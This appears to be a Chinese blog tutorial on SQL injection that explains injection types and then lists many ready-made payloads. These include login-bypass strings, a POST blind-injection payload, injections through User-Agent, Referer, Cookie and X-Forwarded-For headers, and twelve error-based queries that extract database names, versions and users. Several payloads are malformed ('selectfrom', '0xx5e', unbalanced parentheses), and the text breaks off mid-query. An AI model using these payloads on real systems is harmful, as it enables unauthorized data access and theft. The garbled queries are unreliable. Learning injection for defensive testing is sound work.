SQL注入详解

SQL注入详解

1.SQL注入简介

SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编写时的疏忽,通过SQL语句,实现无账号登录,甚至篡改数据库。

Sql 注入攻击是通过将恶意的 Sql 查询或添加语句插入到应用的输入参数中,再在后台 Sql 服务器上解析执行进行的攻击,它目前黑客对数据库进行攻击的最常用手段之一

2. sql 注入产生原因及威胁

当我们访问动态网页时, Web 服务器会向数据访问层发起 Sql 查询请求,如果权限验证通过就会执行 Sql 语句。这种网站内部直接发送的Sql请求一般不会有危险,但实际情况是很多时候需要结合用户的输入数据动态构造 Sql 语句,如果用户输入的数据被构造成恶意 Sql 代码,Web 应用又未对动态构造的 Sql 语句使用的参数进行审查,则会带来意想不到的危险。

Sql 注入带来的威胁主要有如下几点

  • 猜解后台数据库,这是利用最多的方式,盗取网站的敏感信息。
  • 绕过认证,列如绕过验证登录网站后台。
  • 注入可以借助数据库的存储过程进行提权等操作

3. SQL注入漏洞对于数据安全的影响

  • 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。
  • 网页篡改:通过操作数据库对特定网页进行篡改。
  • 网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。
  • 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
  • 服务器被远程控制,被安装后门。经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
  • 破坏硬盘数据,瘫痪全系统。

4.SQL注入分类及判断

基础sql语句

select database(); #查看当前库名; 

select table_name from information_schema.tables where table_schema=database() 

; #查看当前库下的表名 

select column_name from information_schema.columns where table_schema=database() 

and table_name='user'; #查询列名 

select name,password from user; #获取用户名和密码列

1.按数据类型分类

①数字型注入点

在 Web 端大概是 http://xxx.com/news.phpid=1 这种形式,其注入点 id 类型为数字,所以叫数字型注入点。这一类的 SQL 语句原型大概为

select * from 表名 where id=1。组合出来的sql注入语句为:select * from news where id=1 and 1=1
②字符型注入点

在 Web 端大概是 http://xxx.com/news.phpname=admin 这种形式,其注入点 name 类型为字符类型,所以叫字符型注入点。这一类的 SQL 语句原型大概为

select * from 表名 where name='admin'注意多了引号。组合出来的sql注入语句为:select * from news where chr='admin' and 1=1 ' '
③搜索型注入点

这是一类特殊的注入类型。这类注入主要是指在进行数据搜索时没过滤搜索参数,一般在链接地址中有“keyword=关键字”,有的不显示在的链接地址里面,而是直接通过搜索框表单提交。此类注入点提交的 SQL 语句,其原形大致为:

select * from 表名 where 字段 like '%关键字%'`。

组合出来的sql注入语句为:
select * from news where search like '%测试 %' and '%1%'='%1%'

测试%' union select 1,2,3,4 and '%'='

2.按照数据提交的方式来分类

①GET 注入

提交数据的方式是 GET , 注入点的位置在 GET 参数部分。比如有这样的一个链接http://xxx.com/news.php?id=1 , id 是注入点。

②POST 注入

使用 POST 方式提交数据,注入点位置在 POST 数据部分,post提交方式主要适用于表单的提交,用于登录框的注入。

常用的万能username语句:
 a ’ or 1=1 #
 a ") or 1=1 #
 a‘) or 1=1 #
 a” or “1”=”1
 ' or '1'='1
 ' or (length(database())) = 8  (用于输入’ “都没有错误)
 ' or (ascii(substr((select database()) ,1,1))) = 115 # (用于输入’ “都没有错误)
 ") or ("1")=("1
 ") or 1=1 or if(1=1, sleep(1), null)  #
 ") or (length(database())) = 8 #
 ") or (ascii(substr((select database()) ,1,1))) = 115  or if(1=1, sleep(1), null)  #

post型盲注通杀payload:

uname=admin%df'or()or%200%23&passwd=&submit=Submit
③Cookie 注入

HTTP 请求的时候会带上客户端的 Cookie, 注入点存在 Cookie 当中的某个字段中。有报错信息可以利用报错注入

④HTTP 头部注入

注入点在 HTTP 请求头部的某个字段中。比如存在 User-Agent 字段中。严格讲的话,Cookie 其实应该也是算头部注入的一种形式。因为在 HTTP 请求的时候,Cookie 是头部的一个字段。

User-Agent:.........' or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Referer: ’ or updatexml(1,concat(0x7e,database(),0x7e),1),”,”) #
Cookie:username: admin ’ or updatexml(1,concat(0x7e,database(),0x7e),1) #

User-Agent注入

User-Agent:1' and updatexml(1,concat(0xx5e,version(),0x5e),1) and '1'='1

Referer 注入

1' and updatexml(1,concat(0x5e,version(),0x5e),1) and '1'='1

X-Forwarded-For注入
X-Forwarded-For(XFF)是用来识别通过HTTP代理或负载均衡方式连接到Web服务器的客户端最原始的IP地址的HTTP请求头字段。
如果系统采用了服务器后端获取 X-Forwarded-For数据,如:利用

String ip = request.getHeader("X-Forwarded-For")

进行获取ip,攻击者可以通过X-Forwarded-For请求头信息就行伪造ip,当然了这个ip
也可以是一些注入语句,如下:

X-Forwarded-For:1 and if(now()=sysdate(),sleep(6),0)--
String sql = "select * from table where ip = '"+ip+"'";

构造X-Forwoarded-For头进行测试,http响应出现变化

X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000958--
X-Forwarded-For: -1' OR 3*2*1=6 AND 000958=000957--
⑤Request方式注入

概念:超全局变量 PHP中的许多预定义变量都是“超全局的”,这意味着它们在一个脚本的全部作用域中都可以用,这些超全局变量是:
$_REQUEST(获取GET/POST/COOKIE)COOKIE在新版本已经无法获取了
$_POST(获取POST传参)
$_GET(获取GET传参)
$_COOKIE(获取COOKIE传参)
$_SERVER(包含了诸如头部信息(header)、路径(path)、以及脚本位置(script locations)等等信息的数组)

3.按照执行效果来分类

①基于布尔的盲注,

即可以根据返回页面判断条件真假的注入。盲注是注入的一种,指的是在不知道数据库返回值的情况下对数据中的内容进行猜测,实施SQL注入。盲注一般分为布尔盲注和基于时间的盲注和报错的盲注

Length()函数 返回字符串的长度
Substr()截取字符串
Ascii()返回字符的ascii码
sleep(n):将程序挂起一段时间 n为n秒
if(expr1,expr2,expr3):判断语句 如果第一个语句正确就执行第二个语句如果错误执行第三个语句

布尔型:页面只返回True和False两种类型页面。利用页面返回不同,逐个猜解数据

?id=1' and length(database())>5--+
将>号掉个方向看结果有没有变化,来判断布尔盲注有没有用,后面就继续猜表名,列名,然后内容。


http://127.0.0.1/Less-8/?id=1'and (length(database()))>10 --+
and select length(database())>n //判断数据库名长度
and ascii(substr(database(),m,1))>n //截取数据库名第m个字符并转换成ascii码 判断具体值

当前数据库database()的长度大于10,返回true页面,否则FALSE页面

报错型:构造payload让信息通过错误提示回显出来,一种类型(其它的暂时不怎么了解)是先报字段数,再利用后台数据库报错机制回显(跟一般的报错区别是,一般的报错注入是爆出字段数后,在此基础通过正确的查询语句,使结果回显到页面;后者是在爆出字段数的基础上使用能触发SQL报错机制的注入语句)

②基于时间的盲注,

即不能根据页面返回内容判断任何信息,用条件语句查看时间延迟语句是否执行(即页面返回时间是否增加)来判断。

在SQL注入过程中,无论注入是否成功,页面完全没有变化。此时只能通过使用数据库的延时函数来判断注入点一般采用响应时间上的差异来判断是否存在SQL注入,即基于时间型的SQL盲注

select id,name from product where id=1 and sleep(2)
③基于报错注入,

即页面会返回错误信息,或者把注入的语句的结果直接返回在页面中。

根据报错信息'1'' LIMIT 0,1`分析SQL查询语句为select … from …where id='input'

concat+rand()+group_by()导致主键重复

这种报错方法的本质是因为floor(rand(0)*2)的重复性,导致group by语句出错。group by key的原理是循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则不在临时表中更新临时表的数据;如果key不在临时表中,则在临时表中插入key所在行的数据。

rand():

生成0~1之间的随机数,可以给定一个随机数的种子,对于每一个给定的种子,rand()函数都会产生一系列可以复现的数字

floor():

对任意正或者负的十进制值向下取整

通常利用这两个函数的方法是floor(rand(0))*2 ,其会生成0和1两个数
常见的12种报错注入+万能语句为:

通过floor报错,注入语句如下:
and select 1 from (select count(*),concat(version(),floor(rand(0)2))x from information_schema.tables group by x)a);


通过ExtractValue报错,注入语句如下:
and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));


通过UpdateXml报错,注入语句如下:
and 1=(updatexml(1,concat(0x7e,(select user()),0x7e),1))


通过NAME_CONST报错,注入语句如下:
and exists(selectfrom (selectfrom(selectname_const(@@version,0))a join (select name_const(@@version,0))b)c)


通过join报错,注入语句如下:
select * from(select * from mysql.user ajoin mysql.user b)c;


通过exp报错,注入语句如下:
and exp(~(select * from (select user () ) a) );


通过GeometryCollection()报错,注入语句如下:
and GeometryCollection(()select *from(select user () )a)b );


通过polygon ()报错,注入语句如下:
and polygon (()select * from(select user ())a)b );


通过multipoint ()报错,注入语句如下:
and multipoint (()select * from(select user() )a)b );


通过multlinestring ()报错,注入语句如下:
and multlinestring (()select * from(selectuser () )a)b );


通过multpolygon ()报错,注入语句如下:
and multpolygon (()select * from(selectuser () )a)b );


通过linestring ()报错,注入语句如下:
and linestring (()select * from(select user() )a)b );

为了使结构能够更方便的查看,可以在concat()中添加一些内容

?id=2' and (select 1 from (select count(*),concat(((select group_concat(schema_name) from information_schema.schemata)),floor (rand(0)*2))x from information_schema.tables group by x)a) --+ 

and (select 1 from (select count(*),concat(((select schema_name from information_schema
  • 3
    点赞
  • 11
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
SQL注入是一种利用Web应用程序对数据库进行恶意攻击的技术。它通过在用户输入的数据中插入恶意的SQL代码,从而导致数据库执行非预期的操作。引用介绍了一些SQL注入的常见手段和工具,例如使用--注释符号来闭合注入点、使用#进行闭合注入点、以及使用自动化注入工具sqlmap。sqlmap是一种自动化注入工具,可以自动扫描、发现和利用SQL注入漏洞,并支持多种数据库。引用指出,学习SQL注入的同时,了解和掌握sqlmap工具可以帮助更有效地进行注入测试。另外,引用提到了在注入测试中可能使用的一种技术:在注入点中插入特殊注释符号,如/*!*/内联注释符号,以绕过一些Web应用程序防御措施。 对于您提到的"ifnull",它是一种SQL函数,用于判断字段是否为NULL,并在字段为NULL时返回指定的替代值。它通常用于处理空值的情况,以避免在处理过程中出现错误。例如,可以使用IFNULL函数来判断一个字段是否为NULL,并在为NULL时返回一个默认值。但是,如果在构建SQL查询语句时没有正确过滤和处理用户输入,攻击者可能利用这个函数进行SQL注入攻击。因此,在编写Web应用程序时,应该采取适当的防御措施,如使用参数化查询或输入验证,以防止SQL注入攻击的发生。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [web安全之sql注入](https://blog.csdn.net/weixin_54584489/article/details/129139546)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] - *3* [SQL注入详解(下)](https://blog.csdn.net/weixin_59571952/article/details/121728307)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v92^chatsearchT0_1"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值